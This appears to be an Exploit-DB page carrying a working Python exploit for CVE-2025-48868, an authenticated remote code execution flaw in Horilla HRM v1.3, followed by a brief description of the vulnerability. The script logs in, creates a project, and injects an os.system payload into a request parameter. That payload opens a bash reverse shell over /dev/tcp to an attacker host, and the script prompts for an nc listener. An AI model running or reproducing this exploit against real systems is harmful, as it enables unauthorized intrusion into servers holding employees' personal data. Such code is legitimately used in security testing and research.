This website uses cookies We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you’ve provided to them or that they’ve collected from your use of their services. You consent to our cookies if you continue to use our website. Show details Allow all cookies Use necessary cookies only EXPLOIT DATABASE EXPLOITS GHDB PAPERS SHELLCODES SEARCH EDB SEARCHSPLOIT MANUAL SUBMISSIONS ONLINE TRAINING Horilla v1.3 - RCE EDB-ID: 52497 CVE: 2025-48868 EDB Verified: Author: NAKLEH Type: WEBAPPS Exploit: / Platform: MULTIPLE Date: 2026-04-08 Vulnerable App: # Exploit Title: Horilla v1.3 - RCE # Date: 2025-05-29 # Exploit Author: Raghad Abdallah Al-syouf # Version: <= 1.3 # Tested on: Ubuntu / Docker # CVE: CVE-2025-48868 Description: This script exploits the authenticated RCE vulnerability CVE-2025-48868. It logs into the target web app, creates a project, and sends payloads to achieve a reverse shell connection to a listener **started manually** by the user. Usage: python3 CVE_2025_48868.py --url http[s]://target:port --user username --pass password --lhost YOUR_IP --lport LISTENER_PORT Example: python3 CVE_2025_48868.py --url http://127.0.0.1:8000 --user admin --pass admin --lhost 192.168.1.100 --lport 4444 """ import requests import time import sys import argparse from bs4 import BeautifulSoup import urllib3 import random import string from datetime import datetime urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) def generate_random_title(): letters = ''.join(random.choices(string.ascii_lowercase, k=4)) digits = ''.join(random.choices(string.digits, k=2)) return letters + digits def main(): print("[+] CVE-2025-48868") parser = argparse.ArgumentParser(description='Exploit for CVE-2025-48868: Authenticated RCE in Horilla HRM software v1.3. Exploit by:Nakleh Said Zeidan') parser.add_argument('--url', required=True, help='Target URL, e.g. http://localhost:8000') parser.add_argument('--user', required=True, help='Username for login') parser.add_argument('--pass', required=True, dest='password', help='Password for login') parser.add_argument('--lhost', required=True, help='Attacker IP (listener must be started manually)') parser.add_argument('--lport', required=True, type=int, help='Attacker port (listener must be started manually)') args = parser.parse_args() base_url = args.url.rstrip('/') login_url = f"{base_url}/login/" project_url = f"{base_url}/project/project-bulk-archive" session = requests.Session() headers = { "User-Agent": "Mozilla/5.0", "X-Requested-With": "XMLHttpRequest" } print("[+] Getting login page...") login_page = session.get(login_url, headers=headers, verify=False) if login_page.status_code != 200: print(f"[-] Failed to load login page, status {login_page.status_code}") sys.exit(1) soup = BeautifulSoup(login_page.text, 'html.parser') csrf_token = soup.find('input', {'name': 'csrfmiddlewaretoken'})['value'] login_data = { "username": args.user, "password": args.password, "csrfmiddlewaretoken": csrf_token } print("[+] Logging in...") login_resp = session.post(login_url, data=login_data, headers=headers, verify=False) if login_resp.status_code != 200 or "logout" not in login_resp.text.lower(): print("[-] Login failed") sys.exit(1) print("[+] Logged in successfully!") project_view_url = f"{base_url}/project/project-view/" project_view = session.get(project_view_url, headers=headers, verify=False) soup = BeautifulSoup(project_view.text, 'html.parser') csrf_token = soup.find('input', {'name': 'csrfmiddlewaretoken'})['value'] print("[+] Creating project...") create_project_url = f"{base_url}/project/create-project?" today_str = datetime.now().strftime("%Y-%m-%d") random_title = generate_random_title() multipart_data = { "is_active": "on", "title": random_title, "managers": "1", "members": "1", "status": "new", "start_date": today_str, "end_date": today_str, "description": "Exploit project" } create_headers = { "User-Agent": "Mozilla/5.0", "Accept": "*/*", "Referer": project_view_url, "HX-Request": "true", "HX-Trigger": "hlvd701Form", "HX-Target": "hlvd701Form", "HX-Current-URL": project_view_url, "X-CSRFToken": csrf_token, "Origin": base_url, "DNT": "1", "Connection": "keep-alive", } create_resp = session.post(create_project_url, data=multipart_data, headers=create_headers, verify=False) if create_resp.status_code == 200: print(f"[+] Project created successfully with title: {random_title}") else: print(f"[-] Project creation may have failed (status {create_resp.status_code}), continuing anyway...") headers["Referer"] = project_view_url headers["Origin"] = base_url headers["Content-Type"] = "application/x-www-form-urlencoded; charset=UTF-8" print("[*] Ensure your listener is running: `nc -lvnp {}`".format(args.lport)) print("[+] Sending payload...") i = 1 while True: encoded_ids = f"%5B%22{i}%22%5D" payload = f"__import__('os').system('bash+-c+\"bash+-i+>%26+/dev/tcp/{args.lhost}/{args.lport}+0>%261\"')" exploit_url = f"{project_url}?is_active={payload}" data = f"csrfmiddlewaretoken={csrf_token}&ids={encoded_ids}" response = session.post(exploit_url, headers=headers, data=data, verify=False) if response.status_code == 200: print(f"[+] Payload sent for project id {i}. Waiting for shell...") else: print(f"[-] Error sending payload for project id {i} (status {response.status_code})") time.sleep(3) i += 1 if __name__ == "__main__": main() Copy Tags: Advisory/Source: Link Databases Links Sites Solutions Exploits Search Exploit-DB OffSec Courses and Certifications Google Hacking Submit Entry Kali Linux Learn Subscriptions Papers SearchSploit Manual VulnHub OffSec Cyber Range Shellcodes Exploit Statistics Proving Grounds Penetration Testing Services EXPLOIT DATABASE BY OFFSEC TERMS PRIVACY ABOUT US FAQ COOKIES © OffSec Services Limited 2026. All rights reserved.
This vulnerability (CVE-2025-48868, CVSS 7.2 HIGH) is an authenticated Remote Code Execution flaw in the Horilla HRM software, where an attacker can achieve a reverse shell after logging into the application. The NVD data confirms that Horilla version 1.3 is affected. The provided exploit script automates the attack by logging in, creating a project, and sending a payload to the target.